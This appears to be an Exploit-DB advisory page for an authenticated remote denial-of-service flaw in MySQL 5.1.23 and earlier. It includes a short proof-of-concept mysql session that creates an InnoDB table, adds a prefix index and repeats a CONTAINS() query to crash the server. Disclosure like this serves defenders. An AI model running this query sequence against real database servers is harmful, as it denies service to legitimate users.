Remote Denial-of-Service Vulnerability in MySQL

vendor:

MySQL

by:

7.5

CVSS

HIGH

Remote Denial-of-Service

CWE

Product Name: MySQL

Affected Version From: MySQL 5.1.23

Affected Version To: MySQL 5.1.23

Patch Exists: NO

Related CWE:

CPE: a:mysql:mysql:5.1.23

Metasploit:

Other Scripts:

Platforms Tested:

Remote Denial-of-Service Vulnerability in MySQL

The MySQL database server fails to properly handle unexpected input, allowing remote attackers to crash affected database servers and deny service to legitimate users. Attackers must have valid credentials to execute arbitrary SQL statements on affected servers.

Mitigation:

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/26353/info

MySQL is prone to a remote denial-of-service vulnerability because the database server fails to properly handle unexpected input.

Exploiting this issue allows remote attackers to crash affected database servers, denying service to legitimate users. Attackers must be able to execute arbitrary SQL statements on affected servers, which requires valid credentials to connect to affected servers.

This issue affects MySQL 5.1.23 and prior versions. 

mysql> CREATE TABLE `test` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY,
`foo` text NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
Query OK, 0 rows affected

mysql> SELECT * FROM test WHERE CONTAINS(foo, 'bar');
Empty set

mysql> ALTER TABLE test ADD INDEX (foo(100));
Query OK, 0 rows affected
Records: 0 Duplicates: 0 Warnings: 0

mysql> SELECT * FROM test WHERE CONTAINS(foo, 'bar');